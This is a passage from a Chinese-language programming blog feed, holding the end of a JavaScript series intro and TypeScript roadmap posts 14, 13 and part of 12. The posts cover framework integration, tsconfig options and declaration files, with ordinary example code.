├── 运行时行为
│   ├── 闭包
│   ├── this 的四种绑定
│   ├── 执行上下文与调用栈
│   └── 事件循环与异步
└── 工程化表达
    ├── 函数式与高阶函数
    ├── 模块化
    └── 错误处理与调试
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;这十年我踩过最痛的几个点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;var&lt;/code&gt; 的函数作用域&lt;/strong&gt;：循环中用 &lt;code&gt;var&lt;/code&gt; 声明 &lt;code&gt;i&lt;/code&gt;，闭包全拿到最后一个值——新人必踩。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;==&lt;/code&gt; 的隐式转换&lt;/strong&gt;：&lt;code&gt;[] == false&lt;/code&gt; 是 &lt;code&gt;true&lt;/code&gt;，&lt;code&gt;[] == ![]&lt;/code&gt; 也是 &lt;code&gt;true&lt;/code&gt;，面试地狱。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;this&lt;/code&gt; 丢失&lt;/strong&gt;：回调里 &lt;code&gt;this&lt;/code&gt; 指向 &lt;code&gt;undefined&lt;/code&gt;（严格模式），排错排到怀疑人生。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事件循环顺序&lt;/strong&gt;：&lt;code&gt;Promise.then&lt;/code&gt; 和 &lt;code&gt;setTimeout&lt;/code&gt; 谁先执行，搞错就写出竞态 bug。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;循环依赖&lt;/strong&gt;：CommonJS 和 ESM 表现不同，升级打包器时集体暴雷。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每一篇我都会从一个&lt;strong&gt;真实场景/报错&lt;/strong&gt;切入，再讲底层原理，最后给&quot;以后怎么避&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;怎么读&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;前 8 篇是地基，建议&lt;strong&gt;按序&lt;/strong&gt;，每篇代码自己敲一遍（别复制）。&lt;/li&gt;
&lt;li&gt;遇到&quot;为什么输出是这样&quot;，用 DevTools 打断点看调用栈，比看十篇博客有用。&lt;/li&gt;
&lt;li&gt;后 4 篇偏工程表达，可当工具箱按需查阅。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;JS 不难，难的是它&quot;看似随意、实则严谨&quot;。把作用域、原型、事件循环这三根支柱立住，剩下都是水到渠成。下一篇从最基础的变量与作用域讲起。&lt;/p&gt;
</content:encoded></item><item><title>14 · 与框架/运行时集成实战</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-14-framework-integration/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-14-framework-integration/</guid><description>TypeScript 在真实项目中的落地：React + TS（props 与事件类型、泛型组件、Hooks 类型）、Vue 3 + TS（defineComponent、ref/reactive、组合式 API 类型）、Node + TS（类型化 req/res、tsx 运行），以及常见坑与最佳实践清单。</description><pubDate>Mon, 28 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
终点站：把前面学的全部用进真实框架。本篇给 React / Vue 3 / Node 三套最常见的 TS 集成范式，以及那些&quot;文档不会明说&quot;的坑。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. React + TypeScript&lt;/h2&gt;
&lt;h3&gt;组件 props&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface ButtonProps {
  label: string;
  disabled?: boolean;
  onClick: (e: React.MouseEvent&amp;lt;HTMLButtonElement&amp;gt;) =&amp;gt; void;
}
function Button({ label, disabled, onClick }: ButtonProps) {
  return &amp;lt;button disabled={disabled} onClick={onClick}&amp;gt;{label}&amp;lt;/button&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;泛型组件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function List&amp;lt;T&amp;gt;({ items, render }: { items: T[]; render: (it: T) =&amp;gt; React.ReactNode }) {
  return &amp;lt;&amp;gt;{items.map(render)}&amp;lt;/&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hooks 类型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const [count, setCount] = useState&amp;lt;number&amp;gt;(0);
const [user, setUser] = useState&amp;lt;User | null&amp;gt;(null);
useEffect(() =&amp;gt; { /* deps 类型由数组推断 */ }, [count]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要点：事件参数用 &lt;code&gt;React.ChangeEvent&amp;lt;HTMLInputElement&amp;gt;&lt;/code&gt; 等精确类型；&lt;code&gt;ref&lt;/code&gt; 用 &lt;code&gt;useRef&amp;lt;HTMLDivElement&amp;gt;(null)&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Vue 3 + TypeScript&lt;/h2&gt;
&lt;h3&gt;defineComponent + setup&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { defineComponent, ref, reactive } from &quot;vue&quot;;

export default defineComponent({
  props: {
    title: { type: String, required: true },
    count: { type: Number, default: 0 },
  },
  setup(props) {
    const name = ref&amp;lt;string&amp;gt;(&quot;&quot;);      // Ref&amp;lt;string&amp;gt;
    const state = reactive({ n: 0 });  // 深层响应式
    return { name, state };
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;&amp;lt;script setup lang=&quot;ts&quot;&amp;gt;&lt;/code&gt;（推荐写法）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script setup lang=&quot;ts&quot;&amp;gt;
interface Props { id: number }
const props = defineProps&amp;lt;Props&amp;gt;();
const emit = defineEmits&amp;lt;{ (e: &quot;change&quot;, v: number): void }&amp;gt;();

const list = ref&amp;lt;number[]&amp;gt;([]); // 显式给 ref 泛型
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vue 3 对 TS 支持很好：&lt;code&gt;ref&amp;lt;T&amp;gt;&lt;/code&gt; 推断值类型、&lt;code&gt;reactive&lt;/code&gt; 推断对象、&lt;code&gt;defineProps&lt;/code&gt;/&lt;code&gt;defineEmits&lt;/code&gt; 直接吃泛型。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Node + TypeScript&lt;/h2&gt;
&lt;h3&gt;后端路由类型化&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import express, { Request, Response } from &quot;express&quot;;
const app = express();
app.get(&quot;/user/:id&quot;, (req: Request, res: Response) =&amp;gt; {
  const id = req.params.id; // string
  res.json({ id });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;直接运行&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm install -D tsx
npx tsx src/server.ts   # 免编译直接跑
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生产构建仍用 &lt;code&gt;tsc&lt;/code&gt; 或打包器产出 JS 再 &lt;code&gt;node dist/server.js&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 常见坑&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;类型与运行时不匹配&lt;/strong&gt;：&lt;code&gt;as&lt;/code&gt; 断言骗过编译器，但运行时不保证。例：&lt;code&gt;JSON.parse&lt;/code&gt; 返回 &lt;code&gt;any&lt;/code&gt;，要手动收窄成具体类型。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三方库 any&lt;/strong&gt;：遇到无类型库，先找 &lt;code&gt;@types&lt;/code&gt;；没有就写 &lt;code&gt;.d.ts&lt;/code&gt;（第 12 篇），别全局 &lt;code&gt;any&lt;/code&gt; 污染。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ref 解包&lt;/strong&gt;：Vue 模板里 &lt;code&gt;ref&lt;/code&gt; 自动解包，但 TS 里 &lt;code&gt;.value&lt;/code&gt; 才是值，别混。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;event 默认 any&lt;/strong&gt;：React 老写法 &lt;code&gt;onClick={(e) =&amp;gt; ...}&lt;/code&gt; 不标类型时 &lt;code&gt;e&lt;/code&gt; 是 &lt;code&gt;any&lt;/code&gt;（若关了 &lt;code&gt;noImplicitAny&lt;/code&gt;），务必标 &lt;code&gt;React.ChangeEvent&amp;lt;...&amp;gt;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;枚举 vs 联合&lt;/strong&gt;：库/跨端（如 Vue 模板）里枚举编译后会变对象，模板里访问要注意；新增代码优先字面量联合。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 最佳实践清单&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;✅ 全程 &lt;code&gt;strict&lt;/code&gt;，别留 &lt;code&gt;any&lt;/code&gt; 死角（用 &lt;code&gt;unknown&lt;/code&gt; + 守卫替代 &lt;code&gt;any&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;✅ 组件 props、函数参数、导出结构显式注解；局部变量交给推断。&lt;/li&gt;
&lt;li&gt;✅ 用 &lt;code&gt;import type&lt;/code&gt; 隔离类型导入，配合 &lt;code&gt;isolatedModules&lt;/code&gt; 安全。&lt;/li&gt;
&lt;li&gt;✅ 类型从数据来：先定 &lt;code&gt;interface&lt;/code&gt;，再写实现，类型即文档。&lt;/li&gt;
&lt;li&gt;✅ 类型检查与打包分离：&lt;code&gt;tsc --noEmit&lt;/code&gt; + Vite/webpack。&lt;/li&gt;
&lt;li&gt;❌ 别为了&quot;过编译&quot;滥用 &lt;code&gt;as any&lt;/code&gt;，那是埋雷。&lt;/li&gt;
&lt;li&gt;❌ 别手写 &lt;code&gt;.d.ts&lt;/code&gt; 维护自己库的类型，用 &lt;code&gt;declaration&lt;/code&gt; 自动生成。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 路线收官&lt;/h2&gt;
&lt;p&gt;走到这里，你已经具备：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 TS 描述任意数据结构（接口/泛型/工具类型）；&lt;/li&gt;
&lt;li&gt;用类型守卫与可辨识联合写出安全的分支逻辑；&lt;/li&gt;
&lt;li&gt;用 tsconfig 与工程化手段管理真实项目；&lt;/li&gt;
&lt;li&gt;把类型系统落地到 React/Vue/Node。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;类型系统的终点不是&quot;写更复杂的类型&quot;，而是&lt;strong&gt;用刚好够的类型，让 bug 在编译期现形、让代码自我说明&lt;/strong&gt;。继续在真实项目里打磨手感即可。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;React：props 用 &lt;code&gt;interface&lt;/code&gt;，事件用 &lt;code&gt;React.*Event&lt;/code&gt;，泛型组件 &lt;code&gt;function C&amp;lt;T&amp;gt;(...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Vue 3：&lt;code&gt;&amp;lt;script setup lang=&quot;ts&quot;&amp;gt;&lt;/code&gt; + &lt;code&gt;ref&amp;lt;T&amp;gt;&lt;/code&gt; + &lt;code&gt;defineProps&amp;lt;T&amp;gt;()&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;Node：路由参数/响应用 &lt;code&gt;Request/Response&lt;/code&gt; 类型，&lt;code&gt;tsx&lt;/code&gt; 直接跑。&lt;/li&gt;
&lt;li&gt;通用坑：类型≠运行时、第三方库补类型、别滥用 &lt;code&gt;as any&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;原则：strict 全程开，类型从数据来，类型检查与打包分离。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个带 &lt;code&gt;interface ButtonProps&lt;/code&gt; 的 React 按钮组件，处理 &lt;code&gt;onClick&lt;/code&gt; 的 &lt;code&gt;MouseEvent&lt;/code&gt; 类型。&lt;/li&gt;
&lt;li&gt;用 Vue &lt;code&gt;&amp;lt;script setup lang=&quot;ts&quot;&amp;gt;&lt;/code&gt; 写计数器：&lt;code&gt;ref&amp;lt;number&amp;gt;&lt;/code&gt; + &lt;code&gt;defineProps&lt;/code&gt; + &lt;code&gt;defineEmits&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;用 Express + TS 写 &lt;code&gt;/api/users&lt;/code&gt; 返回 &lt;code&gt;User[]&lt;/code&gt;，给 &lt;code&gt;res.json&lt;/code&gt; 传类型化数据。&lt;/li&gt;
&lt;li&gt;审查你现有项目，找出三处可用 &lt;code&gt;unknown&lt;/code&gt;+守卫替换 &lt;code&gt;any&lt;/code&gt; 的地方。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>13 · 工程化：tsconfig 全解与构建</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-13-engineering-tsconfig/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-13-engineering-tsconfig/</guid><description>TypeScript 工程化核心：tsconfig.json 关键字段逐解、strict 严格族（strictNullChecks 等）、target/lib/module、outDir/rootDir、路径别名、project references 实现 monorepo 类型共享，以及与 Vite/webpack/esbuild 的职责边界。</description><pubDate>Sun, 27 Sep 2026 15:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
前 12 篇讲语言特性，本篇讲&quot;怎么把 TS 用在生产项目里&quot;。tsconfig 是项目的总开关，配错了要么漏检类型、要么编译炸。逐字段讲清。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. tsconfig 怎么生效&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;tsc&lt;/code&gt; 在当前目录找 &lt;code&gt;tsconfig.json&lt;/code&gt;，按 &lt;code&gt;include/exclude/files&lt;/code&gt; 决定编译范围。空 &lt;code&gt;tsc&lt;/code&gt; 用配置编译，&lt;code&gt;tsc file.ts&lt;/code&gt; 则忽略配置单文件编译。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 最关键的开关：strict&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{ &quot;compilerOptions&quot;: { &quot;strict&quot;: true } }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strict: true&lt;/code&gt; 一次性开启一组检查，等价于：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;子项&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;strictNullChecks&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null/undefined&lt;/code&gt; 不能赋给非联合类型（最重要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;noImplicitAny&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;隐式 &lt;code&gt;any&lt;/code&gt; 报错&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;strictFunctionTypes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;函数参数逆变检查更严&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;strictBindCallApply&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bind/call/apply&lt;/code&gt; 也有类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;strictPropertyInitialization&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;类属性必须初始化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;noImplicitThis&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;this&lt;/code&gt; 类型不明确报错&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;alwaysStrict&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输出 &lt;code&gt;&quot;use strict&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;强烈建议全程 strict&lt;/strong&gt;。它是 TS 安全感的来源，关掉等于自废武功。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 编译目标与库&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;target&quot;: &quot;ES2020&quot;,   // 编译到哪版 JS
  &quot;lib&quot;: [&quot;ES2020&quot;, &quot;DOM&quot;, &quot;DOM.Iterable&quot;], // 可用哪些内置 API 的类型
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;target&lt;/code&gt; 决定语法降级（如 &lt;code&gt;async&lt;/code&gt; 转成回调）；&lt;code&gt;lib&lt;/code&gt; 决定&quot;能用哪些全局类型&quot;——前端要加 &lt;code&gt;&quot;DOM&quot;&lt;/code&gt;，Node 则慎重。只设 &lt;code&gt;target&lt;/code&gt; 时 TS 会自动配对应 &lt;code&gt;lib&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 模块与输出&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;module&quot;: &quot;ESNext&quot;,
  &quot;moduleResolution&quot;: &quot;Bundler&quot;,
  &quot;outDir&quot;: &quot;./dist&quot;,
  &quot;rootDir&quot;: &quot;./src&quot;,
  &quot;sourceMap&quot;: true,
  &quot;removeComments&quot;: false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;前端（Vite/webpack）：&lt;code&gt;module: ESNext&lt;/code&gt; + &lt;code&gt;moduleResolution: Bundler&lt;/code&gt;，由打包器负责最终 JS。&lt;/li&gt;
&lt;li&gt;Node：&lt;code&gt;module: NodeNext&lt;/code&gt; + &lt;code&gt;moduleResolution: NodeNext&lt;/code&gt;，写扩展名。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 路径别名&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;baseUrl&quot;: &quot;.&quot;,
  &quot;paths&quot;: { &quot;@/*&quot;: [&quot;src/*&quot;], &quot;@utils/*&quot;: [&quot;src/utils/*&quot;] }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TS 能解析别名，但&lt;strong&gt;运行时/打包器也要配&lt;/strong&gt;（Vite 的 &lt;code&gt;resolve.alias&lt;/code&gt;、Node 的 &lt;code&gt;tsconfig-paths&lt;/code&gt;/&lt;code&gt;tsx&lt;/code&gt;）。两处都要配，否则编译过运行炸。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. project references（monorepo 友）&lt;/h2&gt;
&lt;p&gt;多个子包互相依赖、共享类型时，用项目引用避免重复编译：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 根 tsconfig.json
{
  &quot;files&quot;: [],
  &quot;references&quot;: [
    { &quot;path&quot;: &quot;./packages/core&quot; },
    { &quot;path&quot;: &quot;./packages/app&quot; }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// packages/core/tsconfig.json
{
  &quot;compilerOptions&quot;: {
    &quot;composite&quot;: true,     // 必须，生成 .tsbuildinfo
    &quot;outDir&quot;: &quot;../../dist/core&quot;,
    &quot;rootDir&quot;: &quot;src&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;tsc -b&lt;/code&gt;（build 模式）按依赖顺序增量编译，子包间类型共享且互不重复检查。这是 TS 官方推荐的 monorepo 方案（比第三方工具更稳）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. TS 与打包器的边界&lt;/h2&gt;
&lt;p&gt;常见误解：&quot;tsc 负责打包&quot;。其实：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tsc&lt;/strong&gt;：只做类型检查 + 转译语法（TS→JS）。默认不打包、不处理 CSS/图片。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;打包器&lt;/strong&gt;（Vite/webpack/esbuild/rollup）：处理打包、压缩、资源、HMR。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现代前端流程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vite build   # 内部用 esbuild/rollup 处理 .ts，极快
tsc --noEmit # 单独跑类型检查，不参与打包
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即&quot;打包用打包器，类型检查用 &lt;code&gt;tsc --noEmit&lt;/code&gt;&quot;，职责分离、各取所长。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. 常用提速与保险项&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;skipLibCheck&quot;: true,   // 跳过 .d.ts 检查，显著提速
  &quot;incremental&quot;: true,    // 增量编译，生成 .tsbuildinfo
  &quot;noUnusedLocals&quot;: true, // 未用变量报错
  &quot;noUnusedParameters&quot;: true,
  &quot;forceConsistentCasingInFileNames&quot;: true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strict: true&lt;/code&gt; 是安全底线，务必开。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;target/lib&lt;/code&gt; 控语法与可用 API；&lt;code&gt;module/moduleResolution&lt;/code&gt; 按前端/Node 选。&lt;/li&gt;
&lt;li&gt;路径别名 TS 与打包器&lt;strong&gt;都要配&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;monorepo 用 &lt;code&gt;project references&lt;/code&gt; + &lt;code&gt;composite&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;打包交给 Vite/webpack，&lt;code&gt;tsc --noEmit&lt;/code&gt; 只做类型检查。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;新建项目，开 &lt;code&gt;strict&lt;/code&gt;，故意留一个 &lt;code&gt;let x; x.foo&lt;/code&gt; 看 &lt;code&gt;noImplicitAny&lt;/code&gt; 是否报错。&lt;/li&gt;
&lt;li&gt;对比 &lt;code&gt;strictNullChecks&lt;/code&gt; 关/开时 &lt;code&gt;let a: string = null&lt;/code&gt; 的行为。&lt;/li&gt;
&lt;li&gt;配置 &lt;code&gt;@/*&lt;/code&gt; 别名，分别在 TS 与 Vite 里生效并验证。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;tsc -b&lt;/code&gt; 建一个两包依赖的最小 monorepo 体会 project references。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>12 · 声明文件与类型生态</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-12-declaration-files/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-12-declaration-files/</guid><description>TypeScript 声明文件详解：.d.ts 是什么、declare 关键字、第三方库类型 @types 与 DefinitelyTyped、全局声明 declare global、为无类型的 JS 库补声明、编写可发布的类型包。</description><pubDate>Sun, 27 Sep 2026 14:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
很多 JS 库没有类型，TS 怎么认得它们？答案是&lt;strong&gt;声明文件 &lt;code&gt;.d.ts&lt;/code&gt;&lt;/strong&gt;——只描述形状、不含实现的&quot;类型说明书&quot;。本篇讲清它的全部玩法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 什么是 .d.ts&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;.d.ts&lt;/code&gt; 是&lt;strong&gt;只有类型、没有值&lt;/strong&gt;的文件，编译后不产生 JS。它告诉 TS：&quot;某个东西长这样，你按这个检查就行&quot;。打开 &lt;code&gt;node_modules/@types/node&lt;/code&gt; 能看到一大堆 &lt;code&gt;.d.ts&lt;/code&gt;，那是 Node 的&quot;说明书&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. declare 关键字&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;.d.ts&lt;/code&gt; 里用 &lt;code&gt;declare&lt;/code&gt; 声明外部存在的值/类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// globals.d.ts
declare const API_URL: string;
declare function greet(name: string): void;
declare module &quot;legacy-lib&quot; {
  export function doThing(): void;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;declare&lt;/code&gt; 的意思是&quot;这个东西在别处定义了，我只声明它的类型&quot;。在普通 &lt;code&gt;.ts&lt;/code&gt; 里也能用 &lt;code&gt;declare&lt;/code&gt; 避免重复实现（如只为已有全局变量补类型）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 第三方库类型 @types&lt;/h2&gt;
&lt;p&gt;绝大多数流行库的类型在 &lt;code&gt;@types/xxx&lt;/code&gt; 里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -D @types/lodash @types/node
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;装好后 TS 自动找到类型。这些包来自社区维护的 &lt;strong&gt;DefinitelyTyped&lt;/strong&gt; 仓库。如果库自带类型（包里含 &lt;code&gt;.d.ts&lt;/code&gt; 或 &lt;code&gt;package.json&lt;/code&gt; 的 &lt;code&gt;types&lt;/code&gt; 字段），则&lt;strong&gt;不用&lt;/strong&gt;装 &lt;code&gt;@types&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 全局声明 declare global&lt;/h2&gt;
&lt;p&gt;给全局对象（如 &lt;code&gt;window&lt;/code&gt;）加自定义属性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// global.d.ts
declare global {
  interface Window {
    myConfig: { theme: string };
  }
}
export {}; // 让本文件成为模块（否则 declare global 不生效）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后 &lt;code&gt;window.myConfig&lt;/code&gt; 就有类型了。给 &lt;code&gt;process.env&lt;/code&gt; 加自定义变量同理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;declare namespace NodeJS {
  interface ProcessEnv {
    API_KEY: string;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 为无类型库补声明&lt;/h2&gt;
&lt;p&gt;遇到老库没类型、也不想装 &lt;code&gt;@types&lt;/code&gt;（或不存在），自己写个 &lt;code&gt;.d.ts&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// types/my-lib.d.ts
declare module &quot;my-old-lib&quot; {
  export function compute(input: string): number;
  export const version: string;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后把 &lt;code&gt;types&lt;/code&gt; 目录加进 &lt;code&gt;tsconfig&lt;/code&gt; 的 &lt;code&gt;include&lt;/code&gt; 或 &lt;code&gt;typeRoots&lt;/code&gt;。这样 &lt;code&gt;import&lt;/code&gt; 该库就有类型，且不会 &lt;code&gt;any&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;若库导出太复杂，先用 &lt;code&gt;declare module &quot;x&quot;;&lt;/code&gt; 让它整体为 &lt;code&gt;any&lt;/code&gt;，再逐步细化：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;declare module &quot;x&quot;; // 最粗粒度：整个模块 any，至少能 import
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 编写可发布的类型包&lt;/h2&gt;
&lt;p&gt;若你开源一个 JS 库，给用户好体验就带上类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// package.json
{
  &quot;types&quot;: &quot;./dist/index.d.ts&quot;,
  &quot;exports&quot;: { &quot;.&quot;: { &quot;types&quot;: &quot;./dist/index.d.ts&quot;, &quot;default&quot;: &quot;./dist/index.js&quot; } }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用 &lt;code&gt;tsc&lt;/code&gt; 的 &lt;code&gt;declaration: true&lt;/code&gt; 自动从 &lt;code&gt;.ts&lt;/code&gt; 生成 &lt;code&gt;.d.ts&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{ &quot;compilerOptions&quot;: { &quot;declaration&quot;: true, &quot;emitDeclarationOnly&quot;: true, &quot;outDir&quot;: &quot;dist&quot; } }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 类型与实现分离的最佳实践&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;业务逻辑写在 &lt;code&gt;.ts&lt;/code&gt;，类型声明由 &lt;code&gt;tsc&lt;/code&gt; 生成，不要手写维护 &lt;code&gt;.d.ts&lt;/code&gt;（易与实现脱节）。&lt;/li&gt;
&lt;li&gt;只有&lt;strong&gt;描述外部/全局&lt;/strong&gt;才手写 &lt;code&gt;.d.ts&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;严格项目开 &lt;code&gt;skipLibCheck: true&lt;/code&gt;，跳过 &lt;code&gt;.d.ts&lt;/code&gt; 内部一致性检查，避免第三方类型拖累你的编译速度（你不负责修它们的类型）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.d.ts&lt;/code&gt; = 只有类型、编译后消失的&quot;说明书&quot;。&lt;/li&gt;
